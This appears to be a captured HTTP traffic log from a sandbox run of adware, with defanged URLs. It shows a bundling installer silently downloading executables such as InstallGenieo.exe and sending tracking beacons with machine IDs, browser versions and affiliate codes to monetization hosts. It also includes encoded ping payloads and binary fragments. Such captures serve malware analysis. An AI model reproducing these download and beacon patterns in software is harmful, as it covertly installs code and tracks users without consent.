Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=jntWVd-OJ4jDNOXJgKAL

Content-Length: 260

Date: Fri, 15 May 2015 23:04:46 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=jntWVd-OJ4jD
NOXJgKAL">here</A>...</BODY></HTML>..HTTP/1.1 302
 Found..Cache-Control: private..Content-Type: text/html; charset=UTF-8
..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=jntWVd-OJ4jDNOXJgKA
L..Content-Length: 260..Date: Fri, 15 May 2015 23:04:46 GMT..Server: G
FE/2.0..Alternate-Protocol: 80:quic,p=1..<HTML><HEAD><m
eta http-equiv="content-type" content="text/html;charset=utf-8">.&l
t;TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>
302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.goo
gle.com.ua/?gfe_rd=cr&ei=jntWVd-OJ4jDNOXJgKAL">here</A>..
.</BODY></HTML>......


GET /images/icons/product/chrome-32.png HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.google.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Mon, 06 Feb 2012 23:52:59 GMT

Date: Fri, 15 May 2015 23:04:57 GMT

Expires: Fri, 15 May 2015 23:04:57 GMT

Cache-Control: private, max-age=31536000

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 1310

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=1
.PNG........IHDR... ... .....D......jPLTE...3.?..(..!...L.IB.D?.C.ZL.S
G.. .KA.A:."'."'..'=.C9.B.A:.73..$........(L.IE.F.]N.UH3.?.109.B..%.73
..&.'*.. ..(L.IB.D.PD3.?.Q!.KA........(L.IE.F.gV.]N3.?9.B..... ..&..(L
.IH.G.kYB.D.bRm.:....KA.<7."'L.I...H.GB...KA.<7.'*.10.. ..$j....
.c..J.H...Z..E.FQ...kYE.FM...gVB.DK...bRF......]N.ZL<..6..6...UH.SG
.PD1{.....A:....73...."'.!$..!.21......p..?.Ck...`b...=.C.......XX9.B.
..`..J.C.........-y.,x.U..6s.)u.,s....!m.......u.r...z....'v.... ...[.
?.ko..............'...l.i..&..s..d...A.... ..Q|..x..f.f..(........,..C
.RA..7.eRi.`...o.4X.A...Yr0.I).H#.CC..\"p.....HKn.;r_,.W-....>@.c..
F [email protected].$".%...4....&.......L.....E...BtRNS..............UUU
UUUUwwwwwVVV.....................................;..X...!IDATx^..Sc.Q.
.....Mi#.....m.....m... 3....{.=......9.wj.Z..Ms....[.......l.{.....S.
1^..n...n....O.......x=....e...A.(....t....[...8.(......!.E..IK..{...0
.........2.!.E8@....[..'|.....}...\............D...a8.f!..t.8.n.hk.h.;
..........|...........4.k....lG...?._V...Ry.......@..._..-...T.1......
.G/ [email protected]:.......Y...7.{..s9!....-....,...........>./d.`.
......C..%....<.MaqNV............:..}.......\.v?9..[.N.t.......[.%.
..]j.....7.P*...a.n.QMu......I.4...F...(....<)Y lX.w...x....$).,".4
9#..SS.....X.u"..! .....W.XLr.}.P...y.3.o._..n&...?............IEND.B`
.....
<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.google.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=qHtWVbGGIIjDNOXJgKAL

Content-Length: 260

Date: Fri, 15 May 2015 23:05:12 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=qHtWVbGGIIjD
NOXJgKAL">here</A>...</BODY></HTML>..HTTP/1.1 302
 Found..Cache-Control: private..Content-Type: text/html; charset=UTF-8
..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=qHtWVbGGIIjDNOXJgKA
L..Content-Length: 260..Date: Fri, 15 May 2015 23:05:12 GMT..Server: G
FE/2.0..Alternate-Protocol: 80:quic,p=1..<HTML><HEAD><m
eta http-equiv="content-type" content="text/html;charset=utf-8">.&l
t;TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>
302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.goo
gle.com.ua/?gfe_rd=cr&ei=qHtWVbGGIIjDNOXJgKAL">here</A>..
.</BODY></HTML>....

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.5474319389293536 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmc=1; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:01:52 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:01:52 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=741306-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache



....Iq.....S...:6R.E..07.16.z.....~....&@....$...-..b)%... =..........
.....4.V..D... ..}.:..... I.yioK.y.<....P6...P.. L...0k...N..y=..|B
.U.n......-...3E. ....W...cc..B.#...Z..m.%..p.5..$D..'L.Q.X..4.s"V..=.
ph.X.6.TN}.oO\......18...E....3..S.B.<o..S>..bv.-....w..4..J..Y.
....&..3b.k...r...7.....6........u.m.'.#t.'.h...v........H.Cd.t.^...'1
....m.YR.m{_5.dLr....MJE.X.[.]...Q...............De.A .. .W.l^..95.l:V
F2x.-`.>.....HFE......4..oZ"..7u.N.Ys....O.!.....k....7N4.^.N.A..&g
t;...vy*N..[......v. ...H..a.$...k.....r...#....9.%.1[j.L.._.][f..0..O
.F.....s..8S...#[email protected]#..}.2;.A.N.t!j..Y.
......-.Dan.....1K.[x"V.@..."..v.J......D.. ..A)&j.1.N..l....`O.9.....
.5[.e.............fN...}..H.O.y..m.d...c.T/....?/.Y...X..NZ.o.Oi..2x^H
..............]..B.O..2..&...z..Q&?;3....f.FU<M.r..,}.....7..y.....
2...DZVT|.....!....._.F.DA....kM.k.....n.o....J...|w0....\....#>y..
d.l..&@..{..."...%.K#.*-....[...a.....O.....b...4.S[.'./.\...U..{....O
l....X..fo.....s[....;......z..z...lJ..9~H.D[.0..=..Jd.......=...K...3
|.p..$.,...8s.T..\\........X...lnLp..k.%..A..BE:...(4....A......#)..B&
gt;.ljG.8...u.".....c2o*......&..&.0.....Afc..X/L,.v........&.O.c.~.#.
R...l...[..~..>.......l.....C.......|n..?......c.EG..6.A1E.`{.>.
..wc.=..3.x.XQ.ib....N..$k}y....o.`#.n...`E.,}....@~/..M.H.s2..[.r[.k.
[email protected].....;Y..:.....<....<.H....iS'..mvQ....SOX#.>........
....Z'.h!.......'G.....38<N..f.`f]...m.<.........t...PW.2...l..h
.y..1^)w.h..6.A.K[...z......8....j..W ...I...U:hvE.. .......a..1.}<<< skipped >>>

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: blog.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://blog.yandex.ru/

HTTP/1.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May
 2015 23:04:56 GMT..Content-Type: text/html..Content-Length: 184..Conn
ection: keep-alive..Location: hXXps://blog.yandex.ru/......

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: blog.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://blog.yandex.ru/
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.6.2</center>..</body>..</html>..HTTP/1
.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May 2015 
23:04:56 GMT..Content-Type: text/html..Content-Length: 184..Connection
: keep-alive..Location: hXXps://blog.yandex.ru/..<html>..<hea
d><title>301 Moved Permanently</title></head>..&l
t;body bgcolor="white">..<center><h1>301 Moved Permanen
tly</h1></center>..<hr><center>nginx/1.6.2<
/center>..</body>..</html>....

HEAD /US/index.html?eref=rss_us HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Found

Server: Varnish

Retry-After: 0

Content-Length: 0

Location: hXXp://edition.cnn.com/US/index.html?eref=rss_us

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:03 GMT

Via: 1.1 varnish

Connection: close

X-Served-By: cache-fra1246-FRA

X-Cache: MISS

X-Cache-Hits: 0

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=803956-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 482373

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 803956-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 85f8900a83c840580b24eb9ea67db106.cloudfront.net (CloudFront)

X-Amz-Cf-Id: W2prnhMY7xzPVKFn43po5Gk4MJaiQFUyAX47EbaHYTTwLAAHX2QbDQ==
.P........}..X..).....h,*S...iN. ..%.-W...#..;..'dI7.K..M....'.N.?(L..
#5.....L..f..b.Y....!......JP..{O....f.. L%btTB...bo...iN..iI..Su.....
..Y}>..s"..i mh....@._U].....G.>..9.^..`...."!......i(...s.&..g.
...7.p7.Q......H..^...@i6....|.,.".5`T;r$.;....K............>UX(...
N.X..,[email protected]=..J.a...w.'.{\A>.&...*....y\.GY..&.."r..y......
....!2.^..7..cE...'[....a)..wC..2.3....6t..u..1...6x.A.............2!.
W....Y;.N........v..a..f.x{f\O'LM....../=.....s..hXKE......;~t...P.=..
...|W.7........,..wC..m_...........w.......!..{Z.b..fu.pE.T&...eP".. 5
..4\J]........5V..........L..WyS...._....b.....4..u.czY..I...1..t.G.U.
....d}.moe)..Q...6X....X..ia...1....8`.n..O....-..."./^....QDW..P.....
.w.......w.Y^..[...2/q.s/i.....N..#.....fa....P.....r..%m.m.m.B...\k..
.p.j.g8t.....7./..vG........P.m.L.....?.<g....P....#'... ..D..7|n..
..#[.3.U..}....D...=..?. e.`...;p.. i..........<..wC._.51........Q.
"Ar....&.e......W....u6"...]..I.9.6...r....m. 9n...v."...*.X."..25...6
..-0..&3.I..&y6>.{.}m/[email protected]..
..8,{'L.bv..V:...V%[email protected]........!=Z...o...'. ....\..2%_$.B{.D.H.
...._.dD.....=Q..:z...Z.}RJF.o.W(.X!...<...].7.;9R....];=....GH..Fm
....A:'} .1........)...vJ...$7.;). 1..y......"v>.bF:.-50;#....,..9.
q..........iN...4.6uJj....F ..a.d...1..re........_.\p..m.ZX..9...t.[..
.D..`y.......p.kg.4....q1......U..W.:..>...<P....r..B. C.<).~
....K9..,.y... .. 4........~.0@>.BM...$hh...:7...P}0.A*TC...N..Ch..
O.T.L..U.n..B..@{.,*n..}N..fi..~..6..}C.Hg.......p.;.ZS.W.i..0...:<<< skipped >>>

GET /app/ping.ashx?e=GFrjZskQvqOidLNtGGzWYafeYUWHDjJusTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dt5mDgmLsXV3a7ZC ZeIWVzmZVsyaCUtL6XfHLV5RkvSuB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii12p0t5IVVltxSJ2GEE6wp4x0ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1oFr06D0Dj31jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXj4lLgnAn9XR9g5TXL9gg1EQg JX2MctVxds0u3g0oWIicSo4m2rDE1hBcSKZQJHcHEjhVflPPH5XkBjOSgDRKHQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:44 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Fri, 15 May 2015 23:02:44 GMT..Content-Length: 0..

GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972 HTTP/1.1

Host: logs.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:03:05 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1431730986.dop014.am4.t,1431730985.cds058.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Fri, 15 May 
2015 23:03:05 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1431730986.dop014.am4.t,1431730985.
cds058.am4.c..GIF89a.............,...........D..;..

GET /cnnnext/dam/assets/150512105219-dramatic-airports-billy-bishop-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 48015

Cache-Control: max-age=5167

Expires: Sat, 16 May 2015 00:31:09 GMT

Date: Fri, 15 May 2015 23:05:02 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.I.........................!.1.."A.Qa.2q...#B...R....$3.br...%&CS....5
....................................=......................!..1.AQaq."
.........2...#CS.3BRbr.$..............?...iW..<..q........_...O.^Wh
....:.._.......^|g.Gf....=......t ...........E7........9......l..TT8.}
y.g..|i...ZH...*m.}...I.>z. .<..i>..2...-..^ ..:.kO.]..gSfT."
.....=.([email protected]. .c^......T..P..3..Zp$E..p..........B.
.....5..4Q......W....)..............`....w..~...!I....s.7...|h...~4q..
..(..'..........=...G.S!Sh.?3].C~0|.....cG".....o.:..`{..^...$jd(.D...
u....C.`?...........";...o...\[email protected]...._.cS)S8D.g.:..
...T>...'-.G.\jeG4...{...9.!9>....=..S*2....x..S......X...C2....
........5..|......~...=.........)#vS.V....$.J..].QL.n.....#1.....hB2T.
..o..E...s.....Es.....*`l..&u..{..={..2A...e8I..P~;.C.W.:R....K.".....
U. ..?.K... .k.W~....5...]`.MT.Ei...."2mi"..%.?.WM..E.?..g..Yi).....TK
.r.EVc3S.(c........v\..#.YG..et...I.K/...eX.57?.zz...J..G.TG%.......2.
gm4..gdQs.;%..z..,..^m..5....D.U.#..#3...$..w F.6AU#..3:..:-..[A....TL
.H%G....n.I...?..M...[./..)..n..<|..{.1........C":I..T.[;O.8...F...
.R...W..$......>.#[email protected]).RW...*r.Lc......0...v\
...@...`......$.k.E..8.|..r&DV.........I,...?....!......P\VHg.i....W$.
......8.....3..p$W`Oa.y..~.r.~..T...ef..".. 1.bA........L*3..?.Uyn<<< skipped >>>

GET /cnnnext/dam/assets/150514040310-pkg-kriel-burundi-govt-coup-attempt-00014911-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 41867

Cache-Control: max-age=3838

Expires: Sat, 16 May 2015 00:09:01 GMT

Date: Fri, 15 May 2015 23:05:03 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.P..........................!.1.AQ.."aq.#2...B...$3R...b..4Cr...%Ss..&
...'6c.....................................5........................!.
1A."Q..2#aq$bBCR..4r...............?......{^.......hmM...m&IW;... q.
.........:yya..$5.......Q............).....6.I.......?.y.......~m...R.
=MK..S"KK.. ...........=...prkMh.....~*.)A.......|..HYa/;...j..Z......
......*...Eh...#.....St...{.:...E....H..FT..{yf.o...:.p&..v......V..P?
.G..9._.".oG.aC......z......{..|U....{K...........B...fhk...8.Z7..e":.
P. .........?.w..%.{. .)*$..(|.......S*.r.DT.e.2..Z).m.....g.Z'].e.tF.
....R...W...l..8.S.B{..f0........^.....S....py...j..oIcF..P...o..,./u.
oS.Q..p..T.......i........V..axI'..l.).`...........).2..B.HO....zzk.nR
...d.d..O;K....6......RRBA.L....ev..wRS!Y...q......-..#6...'....Ga]]`3
.9.p....>t.......Rx;.".q._....p....lr..Sdc.[^r.w(.....R7.......?..7
.HZ.....$r*5%(;V.H...\....p.|_ `.K ..1I. ..EG ..Q..8&..ry..ZP.....w.% 
.$yyU...I.).$..q.>...>g......)... ..(fU...j|...9.)9...VD.-...'.7
).._..;...}.W..u...Y.FUR.....v.R ...FU........a ...T...*...X.>..%?z
.........:U..B=../)IW.~.....~h)K.H......T....%D...\.X.....A..5..lb.(`8
..Y.?..L.*.4).N>=3.../|...d....R=...).....eXX)..."..y.v..C(wm......
..K...[.P.."...%!;p.........O.P.&B.m.<.........3H.!.......'....j-.|
g...k.M.-..=."...N..W*.....Q)..L....Ap$z.&>.....]....q".....H%M<<< skipped >>>

GET /10957.ashx?e=xY8ohDYpM j7QFMK1iR6liNS3h2XT6ZhEhGH33nPGlEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybLd3NvEenLiCz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YMWsa713zW45VvzTtKTLEzOv7BalvFN7jEfyqeYLIru/skFM nYXmDEL4yGuSrT3L9BsDkaVI3Au1AQs4Ac1Q8Pm3d64T09c72RshMqGb6uDjXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDNw97dOE/f1g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:03:08 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=xY8ohDYpM j7QFMK1iR6liNS3h2XT6ZhEhGH33nPGlEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybLd3NvEenLiC6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMYL4dZo2LWgpfMKnTStLOo4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDNw97dOE/f1g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:03:09 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=j7YMo/n29XPkTjH401c/dCNS3h2XT6ZhyMlYLXuYTiQQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybL035I4OsxKZQAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LyLLA1jov 552zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:03:09 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /cnnnext/dam/assets/150515002106-pkg-hancocks-north-korea-slave-labor-00005614-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 28546

Cache-Control: max-age=4833

Expires: Sat, 16 May 2015 00:25:38 GMT

Date: Fri, 15 May 2015 23:05:05 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.V.........................!1.AQ.."aq....#2B......3..$Rbr..C......s...
%&Dc...5STUt....................................5.....................
..!1.A..Q."2aq.3B....#Rb...4..............?.-.Z...5h.f.4.. .`....m..04
.NIQ...x..r.d}..PKVf........m.9.J..|.f....&6J.:TT....nk~.0.9..........
......4.......w~...A(m*..}.B.K.....bN...v.n..-....6.XP....o0*.x......P
..R[ea$...H.....:..W.d...5..#}........%.X.x.....(f..',.I.Ph{.6...k|A..
J%[email protected]:.=XM.m.r....Z..[Z.m.P.!.TT~.#...`v.......J.V..RF..I.2
t..YG..^..Z.(..k.U..d-.RT.>....T.9."41.[)...........k.g.C.[\....Z..
.....t".a.G|.~..v.....e%.J..t)"...H..%..v.9t..X..-....w.!Y......i.*...
1.......*....m....o.cr.W.H......... @!1.......m...8..Ma..m...Kd. ...TR
..Z.r.....|Cr.n.5j.rR.p..4..XR...4...f..-..i.K[..%..ka..\ ..5..H..v..b
.N.!OQ.{.i.w.,.u...N.........D..&......t$......b<S..6V...t......S..
$)HI..1.B$.,......E..m.k"..\^waj.Br..Z..<........r..]......y..>.
....L.&5.S..I.:..W..r.8.......m..f..},........z.. .....QpN*..\7.j^'..;
..w...`h..R...........\c.w.qF........a..kJV-T.....g... ....5..f......d
..j.Xa.......%,@.!i!$.NT.......99.....b.ob.M...kx.Q.....3.yL......?...
]X.Z..p...YJ.rd....F.N..Y. ..C....M...... ..`...m:...4./.kn6.n.T......
9..8}.9.....3.`...pi....b.D.....W....<J......c.2.C.O.3.>...I.5.%
..g..@ .u.V...&....3..y.....X|.E..H.F. n0..F0..S.{...U>.52.@..)<<< skipped >>>

GET /cnnnext/dam/assets/150505094904-17-will-ripley-north-korea-large-169.jpeg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 29905

Cache-Control: max-age=2134

Expires: Fri, 15 May 2015 23:40:40 GMT

Date: Fri, 15 May 2015 23:05:06 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.V........................!..1..AQ.."aq..#2...BR..$3br....Cs.....%&Sc.
.....45..Fftu...................................6.....................
...!1.."AQa2q..B.....#3...RSb.c............?..>O..M.Ou.....9*.....Q
.qY....W.(X......V..3B..*..i....h. 9zSD.......<xV............H.$P.w
....4.Aeh......JV*..C....[...a. .......`..`........B., ..Z.4o%h-...1..
[email protected]..&...P.......mZ.....f3H!Er(.\...
..S..l.'.k0...>...S.h-`Z.Z.........-.. .IZ.L..rQ..U....t9!....f.)..
..&../C.$..$..T.MP...@...<h.0)................$..........Wg.Mk...x.
=)...N7.5...TK.4C.l.........^...^........t..Dl.#.......#;G.X.....m&.. 
. ..e.......f.o........."w.e..9..pyFqP....oV..>.A...).{.].i.Y.h..6V
.E,..Z]..UfX.y%..w..<....2Y..........]2....U.U.E6...{(.t.n'p.A.;...
...........,1.rJnty.aPH.ss(..h.wd...|...R..../_......M.......:.B...c.4
......!...].}..6.).T.q.......`q..z.w.g...B...L..r.r:.....F.R.\{.......
.o.6..V..,.h\.P.hAr..._-aZ3.f.. ......3........yh...r.....k...g-l-....
.M..d.2.B.B`...4aL..1J..V..A...Z)B....r.....A.B.Frx..ph. 1.2.A\..Z.-g.
.,4b.P.....>\R...a.2 9hXB.qY....Z....dV....b.h/........).....A..|..
Z;..3Ep!#.(8....ei...... 9Nhar(X........(J.t..YI^R3A..%T...|r.l..~...b
[email protected]..".0..@^.V....%..v...Ex9&....xu>.Gu....3..d.
4c....x_..)...f..=.{U.wxC....Zhe.Y.....E...rb...F..r......g.k9h..q<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:01:31 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Fri, 15 May 2015 23:11:31 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Age: 198

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 fdfb753c7b0afbc59240c026d9ff6b78.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cJjhHyXlIYiQnVXGTCKelmaU4xOPTI4PIk1KVi5OOer_slgyDgJOLA==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
